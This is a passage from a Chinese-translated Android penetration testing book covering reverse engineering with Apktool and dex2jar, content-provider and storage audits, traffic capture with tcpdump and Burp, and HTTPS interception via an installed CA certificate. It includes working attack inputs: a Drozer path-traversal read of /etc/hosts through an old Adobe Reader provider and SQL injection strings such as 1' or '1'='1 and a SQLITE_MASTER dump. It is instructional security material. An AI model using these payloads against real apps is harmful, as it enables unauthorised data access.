在AndroidSDK中还有另一个很棒的工具,称为MonkeyRunner。此工具用于自动化和测试 Android应用程序,甚至与应用程序交互。例如,为了使用10个自动化触摸,敲击和事件来 测试应用程序,我们可以在 adbshell中使用 monkey10命令: root@generic:/#monkey10 monkey10 Eventsinjected:10 ##Networkstats:elapsedtime=9043ms(0msmobile,0mswifi,9043msnotconnected) 这些是一些有用的工具和命令,我们可以在ADB中使用它们。我们现在将继续下载一些我们 将来使用的其他工具。 BurpSuite 我们将在接下来的章节中使用的最重要的工具之一是Burp代理。我们将使用它来拦截和分 析网络流量。应用程序中的许多安全漏洞可以通过拦截流量数据来评估和发现。在以下步骤 中执行此操作: 1. 我们现在从官方网站 http://portswigger.net/burp/download.html下载burp代理。下载 并安装后,你需要打开Burp窗口,它如以下屏幕截图所示。你还可以使用以下命令安 装Burp: java–jarburp-suite.jar 我们在下面的截图中可以看到,我们运行了Burp并显示了默认界面: 第二章准备实验环境 24 2. 在BurpSuite工具中,我们需要通过单击 Proxy(代理)选项卡并访问 Options(选 项)选项卡来配置代理设置。 3. 在 Options选项卡中,我们可以看到默认选项被选中,这是 127.0.0.1:8080。这意味着 从我们的系统端口 8080发送的所有流量将由BurpSuite拦截并且在它的窗口显示。 4. 我们还需要通过选择默认代理 127.0.0.1:8080并单击 Edit(编辑)来检查隐藏的代理选 项。 5. 接下来,我们需要访问 Requesthandling(请求处理)选项卡,并选 中 Supportinvisibleproxying(enableonlyifneeded)(支持不可见代理(仅在需要时 启用))复选框: 6. 最后,我们使用 invisible选项运行代理: 第二章准备实验环境 25 7. 一旦设置了代理,我们将启动我们的模拟器与我们刚刚设置的代理。我们将使用以下模 拟器命令来使用 http-proxy选项: emulator-avd[nameoftheavd]-http-proxy127.0.0.1:8080 我们可以在下面的截图中看到命令如何使用: 因此,我们已经配置了Burp代理和模拟器,导致所有的模拟器流量现在会通过Burp。在这 里,你在访问使用SSL的网站时可能会遇到问题,我们将在后面的章节中涉及这些问题。 APKTool Android逆向工程中最重要的工具之一是APKTool。它为逆向第三方和封闭的二进制Android 应用程序而设计。这个工具将是我们在未来章节中的逆向主题和恶意软件分析的重点之一。 为了开始使用APKTool,请执行以下步骤: 1. 为了下载APKTool,我们需要访 问 https://code.google.com/p/android-apktool/downloads/list。 在这里,我们需要下载两个文件: apktool1.5.3.tar.bz2,其中包含apktool主二进制文 件,另一个文件取决于平台-无论是Windows,MacOSX还是Linux。 2. 一旦下载和配置完成,出于便利,我们还需要将APKTool添加到我们的环境变量。此 外,最好将APKTool设置为环境变量,或者首先将其安装在 /usr/bin中。然后我们可 以从我们的终端运行APKTool,像下面的截图这样: 第二章准备实验环境 26 总结 在本章中,我们使用AndroidSDK,ADB,APKTool和BurpSuite建立了Android渗透测试 环境。这些是Android渗透测试者应该熟悉的最重要的工具。 在下一章中,我们将学习如何逆向和审计Android应用程序。我们还将使用一些工具,如 APKTool,dex2jar,jd-gui和一些我们自己的命令行必杀技。 第二章准备实验环境 27 第三章Android应用的逆向和审计 作者:AdityaGupta 译者:飞龙 协议:CCBY-NC-SA4.0 在本章中,我们将查看Android应用程序或 .apk文件,并了解其不同的组件。我们还将使 用工具(如Apktool,dex2jar和jd-gui)来逆向应用程序。我们将进一步学习如何通过逆向 和分析源代码来寻找Android应用程序中的各种漏洞。我们还将使用一些静态分析工具和脚 本来查找漏洞并利用它们。 3.1Android应用程序拆解 Android应用程序是在开发应用程序时创建的数据和资源文件的归档文件。Android应用程序 的扩展名是 .apk,意思是应用程序包,在大多数情况下包括以下文件和文件夹: Classes.dex(文件) AndroidManifest.xml(文件) META-INF(文件夹) resources.arsc(文件) res(文件夹) assets(文件夹) lib(文件夹) 为了验证这一点,我们可以使用任何归档管理器应用程序(如7zip,WinRAR或任何首选应 用程序)简单地解压缩应用程序。在Linux或Mac上,我们可以简单地使用 unzip命令来展 示压缩包的内容,如下面的截图所示: 第三章Android应用的逆向和审计 28 这里,我们使用 -l(list)标志,以便简单地展示压缩包的内容,而不是解压它。我们还可 以使用 file命令来查看它是否是一个有效的压缩包。 Android应用程序由各种组件组成,它们一起创建可工作的应用程序。这些组件是活动,服 务,广播接收器,内容供应器和共享首选项。在继续之前,让我们快速浏览一下这些不同的 组件: 活动(Activity):这些是用户可以与之交互的可视界面。这些可以包括按钮,图 像, TextView或任何其他可视组件。 服务(Service):这些Android组件在后台运行,并执行开发人员指定的特定任务。这 些任务可以包括从HTTP下载文件到在后台播放音乐的任何内容。 广播接收器(BroadcastReceiver):这些是Android应用程序中的接收器,通过 Android系统或设备中存在的其他应用程序,监听传入的广播消息。一旦它们接收到广播 消息,就可以根据预定义的条件触发特定动作。条件可以为收到SMS,来电呼叫,电量 改变等等。 共享首选项(SharedPreference):应用程序使用这些首选项,以便为应用程序保存小 型数据集。此数据存储在名为 shared_prefs的文件夹中。这些小数据集可以包括名值 对,例如游戏中的用户得分和登录凭证。不建议在共享首选项中存储敏感信息,因为它 们可能易受数据窃取和泄漏的影响。 意图(Intent):这些组件用于将两个或多个不同的Android组件绑定在一起。意图可以 用于执行各种任务,例如启动动作,切换活动和启动服务。 内容供应器(ContentProvider):这些组件用于访问应用程序使用的结构化数据集。应 用程序可以使用内容供应器访问和查询自己的数据或存储在手机中的数据。 第三章Android应用的逆向和审计 29 现在我们知道了Android应用程序内部结构,以及应用程序的组成方式,我们可以继续逆向 Android应用程序。当我们只有 .apk文件时,这是获得可读的源代码和其他数据源的方式。 3.2逆向Android应用 正如我们前面讨论的,Android应用程序只是一个数据和资源的归档文件。即使这样,我们不 能简单地解压缩归档包( .apk)来获得可读的源代码。对于这些情况,我们必须依赖于将 字节代码(如在 classes.dex中)转换为可读源代码的工具。 将字节码转换为可读文件的一种方法,是使用一个名为dex2jar的工具。 .dex文件是由 Java字节码转换的Dalvik字节码,使其对移动平台优化和高效。这个免费的工具只是将 Android应用程序中存在的 .dex文件转换为相应的 .jar文件。请遵循以下步骤: 1. 从 https://code.google.com/p/dex2jar/下载dex2jar工具。 2. 现在我们可以使用它来运行我们的应用程序的 .dex文件,并转换为 .jar格式。 3. 现在,我们需要做的是,转到命令提示符并访问dex2jar所在的文件夹。接下来,我们 需要运行 d2j-dex2jar.bat文件(在Windows上)或 d2j-dex2jar.sh文件(在Linux/ Mac上),并提供应用程序名称和路径作为参数。这里的参数中,我们可以简单地使 用 .apk文件,或者我们甚至可以解压缩 .apk文件,然后传递 classes.dex文件,如下 面的截图所示: 正如我们在上面截图中看到的,dex2jar已经成功地将应用程序的 .dex文件转换为名 为 helloworld-dex2jar.jar的 .jar文件。现在,我们可以在任何Java图形查看器(如 JD-GUI)中打开此 .jar文件,JD-GUI可以从其官方网站 http://jd.benow.ca/下载。 4. 一旦我们下载并安装JD-GUI,我们现在可以继续打开它。它看起来像下面的截图所示: 第三章Android应用的逆向和审计 30 5. 在这里,我们现在可以打开之前步骤中转换的 .jar文件,并查看JD-GUI中的所有 Java源代码。为了打开 .jar文件,我们可以简单地访问 File|Open。 在右侧窗格中,我们可以看到Java应用程序的Java源代码和所有方法。请注意,重新编译 过程会为你提供原始Java源代码的近似版本。这在大多数情况下无关紧要;但是,在某些情 况下,你可能会看到转换的 .jar文件中缺少某些代码。此外,如果应用程序开发人员使用 一些防止反编译的保护,如proguard和dex2jar,当我们使用dex2jar或Apktool反编译应用 程序时,我们不会看到准确的源代码;相反,我们将看到一堆不同的源文件,这不是原始源代 码的准确表示。 3.3使用Apktool逆向Android应用 第三章Android应用的逆向和审计 31 另一种逆向Android应用程序的方法是将 .dex文件转换为smali文件。smali是一种文件格 式,其语法与称为Jasmine的语言类似。我们现在不会深入了解smali文件格式。有关更多 信息,请参阅在线wiki https://code.google.com/p/smali/wiki/,以便深入了解smali。 一旦我们下载Apktool并配置它,按照前面的章节的指示,我们都做好了进一步的准备。与 JD-GUI相比,Apktool的主要优点是它是双向的。这意味着如果你反编译一个应用程序并修 改它,然后使用Apktool重新编译它,它能跟完美重新编译,并生成一个新的 .apk文件。然 而,dex2jar和JD-GUI不能做类似功能,因为它提供近似代码,而不是准确的代码。 因此,为了使用Apktool反编译应用程序,我们所需要做的是,将 .apk文件与Apktool二进 制文件一起传递给命令行。一旦反编译完成,Apktool将使用应用程序名称创建一个新的文件 夹,其中会存储所有的文件。为了反编译,我们只需调用 apktoold[app-name].apk。这 里, -d标志表示反编译。 在以下屏幕截图中,我们可以看到使用Apktool进行反编译的应用程序: 现在,如果我们进入smali文件夹,我们将看到一堆不同的smali文件,它们包含开发应用程 序时编写的Java类的代码。在这里,我们还可以打开一个文件,更改一些值,并使用 Apktool再次构建它。为了从smali构建一个改动的应用程序,我们将使用Apktool中 的 b(build)标志。 apktoolb[decompiledfoldername][target-app-name].apk 但是,为了反编译,修改和重新编译应用程序,我个人建议使用另一个名为VirtuousTen Studio(VTS)的工具。这个工具提供与Apktool类似的功能,唯一的区别是VTS提供了一 个漂亮的图形界面,使其相对容易使用。此工具的唯一限制是,它只在Windows环境中运 行。我们可以从官方下载链接 http://www.virtuous-ten-studio.com/下载VTS。以下是反编译 同一项目的应用程序的屏幕截图: 第三章Android应用的逆向和审计 32 3.4审计Android应用 Android应用程序通常包含许多安全漏洞,大多数时候是由于开发人员的错误和安全编码实践 的无视。在本节中,我们将讨论基于Android应用程序的漏洞,以及如何识别和利用它们。 内容供应器泄露 许多应用程序使用内容供应器来存储和查询应用程序中的数据或来自电话的数据。除非已经 定义了内容提供者可以使用权限来访问,否则任何其他应用都可以使用应用所定义的内容供 应器,来访问应用的数据。所有内容供应器具有唯一的统一资源标识符(URI)以便被识别 和查询。内容提供者的URI的命名标准惯例是以 content://开始。 如果AndroidAPI版本低于17,则内容供应器的默认属性是始终导出。这意味着除非开发人 员指定权限,否则任何应用程序都可以使用应用程序的内容供应器,来访问和查询数据。所 有内容供应器都需要在 AndroidManifest.xml中注册。因此,我们可以对应用程序使用 Apktool,并通过查看 AndroidManifest.xml文件检查内容供应器。 定义内容供应器的一般方法如下所示: <provider android:name="com.test.example.DataProvider" android:authorities="com.test.example.DataProvider"> </provider> 所以现在,我们将举一个漏洞应用程序的例子,并尝试利用内容供应器泄漏漏洞: 1. 为了反编译应用程序,我们将使用Apktool来使用 apktoold[appname].apk反编译应用 程序。 2. 为了找到内容供应器,我们可以简单地查看定义它们的 AndroidManifest.xml文件,或者 我们可以使用一个简单的 grep命令,从应用程序代码中获取内容供应器,如下所示: 第三章Android应用的逆向和审计 33 3. 我们可以使用 grep命令来查找内容提供者,使用 grep–R'content://'。此命令将在每 个子文件夹和文件中查找内容供应器,并将其返回给我们。 4. 现在,我们在模拟器中安装应用程序。为了查询内容供应器并确认漏洞是可利用的,我 们需要在Android设备或模拟器中安装该应用程序。使用以下代码,我们将在设备上安 装易受攻击的 app.apk文件: $adbinstallvulnerable-app.apk 1869KB/s(603050bytesin0.315s) pkg:/data/local/tmp/vulnerable-app.apk Success 5. 我们可以通过创建另一个没有任何权限的应用程序来查询内容供应器,然后查询漏洞应 用程序的内容供应器。为了快速获得信息,我们还可以使用 adb查询内容供应器,我们 可以在以下命令中看到: adbshellcontentquery--uri[URIofthecontentprovider] 以下是在漏洞应用程序上运行的命令,输出展示了存储在应用程序中的注释: 在这里,我们还可以使用MWR实验室的另一个名为Drozer的工具,以便在Android应 用程序中找到泄漏的内容供应器漏洞。我们可以从官方网 站 https://labs.mwrinfosecurity.com/tools/drozer/下载并安装Drozer。 6. 一旦我们安装了它,我们需要将代理组件 agent.apk安装到我们的模拟器,它位于下载 的 .zip文件内。该代理是系统和设备相互交互所需的。我们还需要在每次启动模拟器 时转发一个特定的端口( 31415),以便建立连接。要在Mac和其他类似平台上安装设 第三章Android应用的逆向和审计 34 备,我们可以按 照 https://www.mwrinfosecurity.com/system/assets/559/original/mwri_drozer-users-guide_2013-09-11.pd 上提供的在线指南。 7. 一旦完成,我们可以启动应用程序,并单击"EmbeddedServer(嵌入式服务器)"文本。 从那里,我们需要回到设备,启动Drozer应用程序,并通过单击名为Disabled的左上 角切换按钮启用服务器。 8. 此后,我们需要访问终端并启动Drozer,并将其连接到模拟器/设备。为此,我们需要输 入 drozerconsoleconnect,如下面的截图所示: 9. 在这里,我们可以运行 app.provider.finduri模块来查找所有内容供应器,如下所示: 第三章Android应用的逆向和审计 35 dz>runapp.provider.finduricom.threebanana.notes Scanningcom.threebanana.notes… content://com.threebanana.notes.provider.NotePad/notes content://com.threebanana.notes.provider.NotePadPending/notes/ content://com.threebanana.notes.provider.NotePad/media content://com.threebanana.notes.provider.NotePad/topnotes/ content://com.threebanana.notes.provider.NotePad/media_with_owner/ content://com.threebanana.notes.provider.NotePad/add_media_for_note content://com.threebanana.notes.provider.NotePad/notes_show_deleted content://com.threebanana.notes.provider.NotePad/notes_with_images/ 10. 一旦我们有了URI,我们现在可以使用Drozer应用程序查询它。为了查询它,我们需要 运行 app.provider.query模块并指定内容供应器的URI,如下面的截图所示: 如果Drozer能够查询和显示来自内容供应器的数据,这意味着内容供应器泄漏数据并且 存在漏洞,因为Drozer没有被明确地授予使用数据集的任何权限。 11. 为了修复此漏洞,开发人员需要做的是,在创建内容供应器时指定参 数 android:exported=false,或者创建一些新的权限,另一个应用程序在访问供应器之 前必须请求它。 3.5不安全的文件存储 通常,开发人员为应用程序存储数据时,未指定文件的正确文件权限。这些文件有时被标记 为全局可读,并且可以由任何其它应用程序访问而不需要请求权限。 为了检查这个漏洞,我们所需要做的是访问 adbshell,之后使用 cd进 入 /data/data/[packagenameoftheapp]。 如果我们在这里执行一个简单的 ls-l,就可以看到文件和文件夹的文件权限: #ls-l/data/data/com.aditya.example/files/userinfo.xml -rw-rw-rw-app_200app_200220342013-11-0700:01userinfo.xml 这里我们可以使用 find来搜索权限。 find/data/data/-perm[permissionsvalue] 第三章Android应用的逆向和审计 36 如果我们执行 catuserinfo.xml,它储存了应用的用户的用户名和密码。 #grep'password'/data/data/com.aditya.example/files/userinfo.xml <password>mysecretpassword</password> 这意味着任何其他应用程序也可以查看和窃取用户的机密登录凭据。可以通过在开发应用程 序时指定正确的文件权限,以及一起计算密码与盐的散列来避免此漏洞。 目录遍历或本地文件包含漏洞 顾名思义,应用程序中的路径遍历漏洞允许攻击者使用漏洞应用程序的供应器读取其他系统 文件。 此漏洞也可以使用我们之前讨论的工具Drozer进行检查。在这里,我们用例子来说明由 SeafastianGuerrero发现的AdobeReaderAndroid应用程序漏洞 ( http://blog.seguesec.com/2012/09/path-traversal-vulnerability-on-adobe-reader-android-application )。此漏洞存在于AdobeReader10.3.1中,并在以后的版本中进行了修补。你可以 从 http://androiddrawer.com下载各种Android应用程序的旧版本。 我们将启动Drozer,并运行 app.provider.finduri模块来查找内容供应器URI。 dz>runapp.provider.finduricom.adobe.reader Scanningcom.adobe.reader... content://com.adobe.reader.fileprovider/ content://com.adobe.reader.fileprov 一旦我们找到了URI,我们现在可以使用 app.provider.read搜索并利用本地文件包含漏洞。 在这里,我尝试从系统中读取一些文件,如 /etc/hosts和 /proc/cpuinfo,它们默认存在于 所有的Android实例中,因为它是基于Linux的文件系统。 dz>runapp.provider.readcontent://com.adobe.reader.fileprovider/../../../../etc/host s 127.0.0.1localhost 正如我们在下面的屏幕截图中看到的,我们已经成功地使用AdobeReader漏洞内容供应器 读取了Android文件系统中的文件。 第三章Android应用的逆向和审计 37 客户端注入攻击 客户端攻击通常发生在应用程序未检查用户输入的时候。例如,在对SQLite数据库的查询期 间,应用程序正在解析用户输入,因为它位于查询语句中。 让我们举一个应用程序的示例,它检查本地SQLite数据库,来根据登录凭据验证用户。因 此,当用户提供用户名和密码时,正在运行的查询将如下所示: SELECT*FROM'users'whereusername='user-input-username'andpassword='user-input-pa ssword' 现在,在正常情况下,这将正常工作,用户输入其真正的登录凭据,并且查询取决于条件将 返回 true或 false。 SELECT*FROM'users'whereusername='aditya'andpassword='mysecretpass 但是,如果攻击者输入SQL语句而不是正常的用户名怎么办?请参考以下代码: SELECT*FROM'users'whereusername='1'or'1'='1'--andpassword='mysecretpasswo rd 因此,在这种情况下,即使用户不知道用户名和密码,他们可以通过使用 1'or'1'='1查询来 轻松绕过它,这在所有情况下都返回 true。因此,应用程序开发人员必须在应用程序中进 行适当的检查,来检查用户输入。 我们还可以使用Drozer的 app.provider.query来利用SQL注入漏洞。其语法看起来像: runapp.provider.query[ContentProviderURI]--projection"*FROMSQLITE_MASTERWHER Etype='table';--" 第三章Android应用的逆向和审计 38 现在,这将返回SQLite数据库中整个表的列表,它的信息存储在 SQLITE_MASTER中。您还可 以继续并执行更多的SQL查询,来从应用程序提取更多的信息。为了使用Drozer实战漏洞 利用,你可以从 https://www.mwrinfosecurity.com/products/drozer/community-edition/下载他 们的漏洞应用程序。 3.6OWASP移动Top10 Web应用程序开放安全项目(OWASP)是涉及安全和漏洞搜索的标准之一。它还发布了前 10名漏洞的列表,其中包括在各种平台中最常见和重要的漏洞。 可以 在 https://www.owasp.org/index.php/Projects/OWASP_Mobile_Security_Project_-_Top_Ten_Mobile_Risks 上找到OWASP移动版的前10个指南。如果我们查看OWASP移动项目,以下是它涵盖的 移动应用程序的10个安全问题: 服务端弱控制 不安全的数据存储 传输层保护不足 意外的数据泄漏 缺少授权和认证 无效的加密 客户端注入 通过不可信输入的安全决策 不正确的会话处理 缺乏二进制保护 让我们逐一介绍它们,并快速了解它们在移动应用程序中的关系,以及我们如何检测它们: 服务端弱控制 第一个OWASP漏洞是服务端弱控制,顾名思义,服务端不以安全的方式将数据从移动应用 程序发送到服务端,或者在发送数据时暴露一些敏感的API。例如,考虑一个Android应用 程序发送登录凭据到服务器进行身份验证,而不验证输入。攻击者可以以这样的方式修改凭 证,以便访问服务器的敏感或未授权区域。此漏洞可视为移动应用程序和Web应用程序中的 一个漏洞。 不安全的数据存储 这仅仅意味着,应用相关信息以用户可访问的方式在设备上存储。许多Android应用程序在 共享首选项,SQLite(纯文本格式)或外部存储器中,存储与用户相关的私密信息或应用程 序信息。开发人员应该始终记住,即使应用程序在数据文件夹( /data/data/package-name) 第三章Android应用的逆向和审计 39 中存储敏感信息,只要手机已root,恶意应用程序/攻击者就可以访问它。 传输层保护不足 许多Android开发人员依赖于通过不安全模式的网络来发送数据,例如HTTP或没有正确实 现SSL的形式。这使得应用程序易受到网络上发生的所有不同类型的攻击,例如流量拦截, 从应用程序向服务器发送数据时操纵参数,以及修改响应来访问应用程序的锁定区域。 意外的数据泄漏 当应用程序将数据存储在本身易受攻击的位置时,会出现此漏洞。这些可能包括剪贴板, URL缓存,浏览器Cookie,HTML5 DataStorage,统计数据等。一个例子是用户登录到他 们的银行应用程序,他们的密码已经复制到剪贴板。现在,即使是恶意应用程序也可以访问 用户剪贴板中的数据。 缺少授权和认证 如果Android应用程序或一般的移动应用程序在没有适当安全措施的情况下,尝试基于客户 端检查来验证或授权用户,则这些应用程序最容易受到攻击。应该注意的是,一旦手机已 root,大多数客户端保护可以被攻击者绕过。因此,建议应用程序开发人员使用服务器端身 份验证和授权进行适当的检查,一旦验证成功,请使用随机生成的令牌,以便在移动设备上 验证用户。 无效的加密 这仅仅表示使用不安全的密码函数来加密数据部分。这可能包括一些已知存在漏洞的算法, 如MD5,SHA1,RC2,甚至是没有适当的安全措施的定制算法。 客户端注入 这在Android应用程序中是可行的,主要成因是使用SQLite进行数据存储。我们将在本书的 各章中执行注入攻击。 通过不可信输入的安全决策 在移动应用程序中,开发人员应始终过滤和验证用户提供的输入或其他相关输入,并且不应 该像在应用程序中那样使用它们。不受信任的输入通常会导致应用程序中的其他安全风险, 如客户端注入。 不正确的会话处理 第三章Android应用的逆向和审计 40 在为移动应用程序执行会话处理时,开发人员需要处理很多因素,例如认证cookie的正常过 期,安全令牌创建,cookie生成和轮换,以及无法使后端的会话无效。必须在Web应用程 序和Android应用程序之间维护正确的安全同步。 缺乏二进制保护 这意味着不能正确地防止应用程序被逆向或反编译。诸如Apktool和dex2jar之类的工具可 用于逆向Android应用程序,如果没有遵循正确的开发实践,它会暴露应用程序的各种安全 风险。为了防止通过逆向攻击来分析应用程序,开发人员可以使用ProGuard和DashO等工 具。 总结 在本章中,我们学习了使用各种方法来逆转Android应用程序并分析源代码。我们还学习了 如何修改源代码,然后重新编译应用程序,来绕过某些保护。此外,我们还看到了如何使用 Drozer等工具寻找Android应用程序中的漏洞。你还可以通 过 http://labs.securitycompass.com/exploit-me/亲自尝试Exploit-Me实验室中的各种漏洞, 它由SecurityCompass开发。 在下一章中,我们将进一步尝试Android应用程序的流量拦截,并在我们的渗透测试中使用 它。 第三章Android应用的逆向和审计 41 第四章对Android设备进行流量分析 作者:AdityaGupta 译者:飞龙 协议:CCBY-NC-SA4.0 在本章中,我们将研究Android设备的网络流量,并分析平台和应用程序的流量数据。通常 应用程序会在其网络数据中泄漏敏感信息,因此发现它是渗透测试程序最重要的任务之一。 此外,你经常会遇到通过不安全的网络协议执行身份验证和会话管理的应用程序。因此,在 本章中,我们将学习如何拦截和分析Android设备中,各种应用程序的流量。 4.1Android流量拦截 根据OWASP移动 Top10( https://www.owasp.org/index.php/Projects/OWASP_Mobile_Security_Project_-_Top_Ten_Mobile_Risks ),不完善的传输层保护是第三大威胁。实际上,假设一个应用程序通过HTTP将用户的登 录凭据提交到服务器。如果用户位于咖啡店或机场,并在有人嗅探网络时登录到他的应用程 序,会怎么样?攻击者能够获得特定用户的整个登录凭据,它以后可能用于恶意目的。假设 应用程序正在通过HTTPS进行身份验证,通过HTTP的会话管理,并且在请求中传递身份 验证Cookie。在这种情况下,攻击者也能够通过在执行中间人攻击时拦截网络来获取身份验 证Cookie。使用这些认证cookie,他可以直接作为受害用户登录到应用程序。 4.2流量分析方式 在任何情况下都有两种不同的流量捕获和分析方法。我们将研究Android环境中可能的两种 不同类型,以及如何在真实场景中执行它们。被动和主动分析如下: 被动分析:这是一种流量分析的方法,其中应用程序发送的网络数据不会被拦截。相 反,我们将尝试捕获所有网络数据包,然后在网络分析器(如Wireshark)中打开它,然 后尝试找出应用程序中的漏洞或安全问题。 主动分析:在主动分析中,渗透测试者将主动拦截所有正在进行的网络通信,并可以即 时分析,评估和修改数据。这里,他需要设置代理,并且由应用/设备生成和接收的所有 网络流量会通过该代理。 被动分析 第四章对Android设备进行流量分析 42 被动分析的概念是。将所有网络信息保存到特定文件中,之后使用数据包分析器查看。这就 是我们将在Android设备中进行被动分析。我们将使用 tcpdump来将所有的信息保存到设备 中一个位置。此后,我们将该文件拉取到我们的系统,然后使用Wireshark或Cocoa包分析 器查看它。请参阅以下步骤: 1. 我们从TimurAlperovich的网站 http://www.eecs.umich.edu/~timuralp/tcpdump-arm下载 为ARM编译的 tcpdump二进制文件。如果我们需要,我们还可以下载 tcpdump的原始 二进制文件并交叉编译(为Android交叉编译你的二进制文件,请按照链 接 http://machi021.blogspot.jp/2011/03/compile-busybox-for-android.html。链接展示了 交叉编译BusyBox,但相同的步骤可以应用于 tcpdump)。 一旦我们下载了 tcpdump,我们可以通过在我们刚刚下载的二进制上执行一个文件,来 确认它是否为ARM编译。对于Windows用户,你可以使用Cygwin来执行命令。输出 类似于以下屏幕截图中所示: 2. 这里的下一步是将 tcpdump二进制文件推送到设备中的一个位置。我们还必须记住,我 们需要继续执行这个文件。因此,我们将它推送到一个位置,我们可以从中更改权限, 以及执行二进制来捕获流量。 3. 现在,继续并使用 adb的 push命令推送二进制来将二进制推送到设备。同样,在我们 需要从设备中拉取内容的情况下,我们可以使用 pull而不是 push。 4. 这里,我们将使用 adbpush将其推送到Android中的 /data/local/tmp: adbpushtcpdump-arm/data/local/tmp/tcpdum 5. 一旦我们将 tcpdump二进制推送到设备,然后需要使用 adb在shell中访问设备,并更改 二进制的权限。如果我们试图运行 tcpdump,它会给我们一个权限错误,因为我们没有 执行权限。 为了更改权限,我们需要访问 /data/local/tmp,使用 chmod命令,并授予其权 限 777,这意味着应用程序将具有所有权限。以下屏幕截图显示了上述命令的结果输 出: 6. 这里的最后一步是启动 tcpdump并将输出写入 .pcap文件。使用 -s, -v和 -w标志启 动 tcpdump。参考以下描述: -s:这表示从每个封包抽取给定(在我们的例子中为0)字节的数据,而不是默认的 65535字节。 第四章对Android设备进行流量分析 43 -v:这表明详细输出。 -w:这表明写入原始数据包的文件名。例如,我们可以使 用 ./tcpdump-v-s0-woutput.pcap,以便将所有文件写入 output.pcap,并输出 详细信息。 7. 在流量捕获执行期间,打开手机浏览器并访问位于 http://attify.com/data/login.html的 漏洞登录表单,该表单通过HTTP发送所有数据并使用GET请求: 8. 这里使用用户名 android和密码 mysecretpassword登录应用程序。 9. 我们现在可以在任何时候通过 adbshell服务终止进程(使用 Ctrl+C)。下一步是将 捕获的信息从设备拉取到我们的系统。为此,我们将简单地使用 adbpull如下: adbpull/data/local/tmp/output.pcapoutput.pcap 10. 你可能还需要更改 output.pcap的权限才能拉取它。在这种情况下,只需执行以下命 令: chmod666output.pcap 11. 一旦我们下载了捕获的网络数据的.pcap文件,我们可以在Wireshark中打开它并分析流 量。在这里,我们将尝试查找捕获的登录请求。我们可以从网 站 http://www.wireshark.org/download.html下载Wireshark。一旦下载并安装完毕,打 开Wireshark并在里面打开我们新拉取的文件 output.pcap,通过访问 File|Open。 一旦我们在Wireshark中打开 .pcap文件,我们会注意到一个类似下面截图所示的屏 幕: 第四章对Android设备进行流量分析 44 Wireshark是一个开源封包分析器,它帮助我们发现敏感信息,并分析来自所有网络连接 的流量数据。在这里,我们正在搜索我们对 http://attify.com所做的请求,并输入了我 们的登录凭据。 12. 现在,访问 Edit并单击 FindPackets。在这里,我们需要查找我们提交登录凭据的网 站,并检查 String。 13. 在这里,我们可以看到与 http://attify.com/data/login.html的连接。如果我们在底部 窗格中查找有关此数据包的更多信息,我们可以看到包含我们输入的用户名和密码的请 求网址。 因此,我们使用 tcpdump成功捕获了网络数据,并将其存储在 .pcap文件中,然后使用 Wireshark进行分析。然而,被动流量捕获也可以通过 adbshell直接完成。 第四章对Android设备进行流量分析 45 adbshell/data/local/tmp/tcpdump-iany-p-s0-w/mnt/sdcard/output.pcap 这里, -i代表接口。在这种情况下,它从所有可用接口捕获数据。 -p指定 tcpdump不将 设备置于混杂模式(这是在执行嗅探攻击时经常使用的模式,并且不适合我们目前使用的模 式)。在使用 -tcpdump标志启动模拟器时,我们还可以指定使用 tcpdump。我们还需要使 用 -avd标志,指定要捕获流量的AVD名称。 emulator-avdAndroid_Pentesting--tcpdumptrafficcapture.pcap 主动分析 主动分析的基本规则是,使每个请求和响应通过我们定义的中间设备。在这种情况下,我们 将设置一个代理,并使所有请求和响应通过该特定代理。此外,我们可以选择操纵和修改请 求和响应中的数据包,从而评估应用程序的安全性: 1. 为了为HTTP创建代理,请使用指定代理IP和端口以及 -http-proxy标志启动模拟器。 由于我们在同一个系统上运行模拟器,我们使用IP 127.0.0.1和任何可用的端口。在这 种情况下,我们使用端口8080。 emulator-avdAndroid_Pentesting–http-proxy127.0.0.1:8080 2. 在设备上,我们还可以访问 Settings|Wi-Fi,然后长按我们连接的网络Wi-Fi。此外 如果我们使用一个实际的设备,我们用于拦截的系统应该在同一个网络上。 3. 一旦我们长按Wi-Fi连接,我们将会得到一个类似于下面的截图所示的屏幕。此外,如 果你使用真实设备执行此练习,设备需要与代理位于同一个网络。 4. 一旦进入连接修改屏幕,请注意,代理配置会询问网络上的设备的IP地址和代理系统的 端口。 第四章对Android设备进行流量分析 46 但是,这些设置仅存于从4.0开始的最新版本的Android中。如果我们要在小于4.0的 设备上实现代理,我们将必须安装第三方应用程序,例如PlayStore上可用的 ProxyDroid。 5. 一旦我们在设备/模拟器中设置了代理,请继续并启动Burp代理,来拦截流量。下 面 Options选项卡中Burp代理的样子,以便有效拦截浏览器和应用程序的流量。 6. 我们还需要检查不可见的代理,以确保我们的代理也捕获nonproxy请求。(读者可以 在Burp的网站 http://blog.portswigger.net/2008/11/mobp-invisible-proxying.html上详 细了解不可见代理和非代理请求。) 第四章对Android设备进行流量分析 47 7. 为了检查代理是否工作,打开浏览器并启动网站。然后我们能够看到它是否在代理中被 拦截。 正如我们在上面的屏幕截图中看到的,我们打开了URL http://attify.com,请求现在显示在 BurpProxy屏幕中。因此,我们成功地拦截了来自设备和应用程序的所有基于HTTP的请 求。 4.3HTTPS代理拦截 当通过HTTP协议进行通信时,上述方法可以正常用于应用和流量器的流量拦截。在 HTTPS中,由于证书不匹配,我们将收到错误,因此我们无法拦截流量。 然而,为了解决这个挑战,我们需要创建自己的证书或Burp/PortSwigger并将其安装在设备 上。为了创建我们自己的证书,我们需要在Firefox(或任何其他浏览器或全局代理)中设置 代理: 1. 为了在Firefox中设置代理,请访问 Tools中显示的 Options(Mac上 为 Firefox|Preferences),然后访问 Advanced选项卡。在 Advanced选项卡下,我们 单击 Network选项。 2. 在 Network标签中,我们需要点击 Settings来使用Firefox配置代理。 第四章对Android设备进行流量分析 48 3. 完成后,在我们的系统浏览器上访问HTTPS网站,我们能跟拦截我们设备上的流量。 这里我们将收到一个 TheNetworkisUntrusted消息。点击 IunderstandtheRisks,并 点击 AddException。 4. 然后,单击 GetCertificate,最后单击 View,然后单击 Export来保存证书。 第四章对Android设备进行流量分析 49 5. 一旦证书保存在我们的系统上,我们现在可以使用 adb将其推送到我们的设备。 adbpushportswiggerca.crt/mnt/sdcard/portswiggerca.crt 6. 现在,在我们的设备中,访问 Settings,在 Personal类别下,我们可以找 到 Security。一旦我们进入 Security,请注意,你可以选择从SD卡安装证书。点击 它使我们可以保存具有给定名称的证书,这适用于所有应用程序和浏览器,甚至是 HTTPS站点。 7. 通过返回到我们的浏览器,并打开HTTPS网站(例如 https://gmail.com)来确认。正 如我们在下面的截图中可以看到的,我们在这种情况下也成功地拦截了通信: 第四章对Android设备进行流量分析 50 其它用于拦截SSL流量的方式 